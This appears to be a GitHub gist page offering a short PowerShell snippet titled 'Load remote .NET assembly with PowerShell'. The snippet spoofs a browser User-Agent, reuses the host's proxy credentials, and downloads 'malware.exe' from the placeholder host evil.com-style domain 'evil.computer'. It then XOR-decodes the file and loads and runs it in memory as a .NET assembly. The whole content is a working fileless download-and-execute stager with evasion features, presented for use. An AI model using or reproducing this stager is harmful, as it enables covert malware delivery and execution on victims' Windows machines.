Created
August 31, 2018 09:34
-
-
Save vivami/70ba16263c07d60075b0d6e5cfd51bc5 to your computer and use it in GitHub Desktop.
Load remote .NET assembly with PowerShell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$wc=New-Object System.Net.WebClient;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0");$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials | |
$k="XOR\_KEY";$i=0;[byte[]]$b=([byte[]]($wc.DownloadData("https://evil.computer/malware.exe")))|%{$_-bxor$k[$i++%$k.length]} | |
[System.Reflection.Assembly]::Load($b) | Out-Null | |
$parameters=@("arg1", "arg2") | |
[namespace.Class]::Main($parameters) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment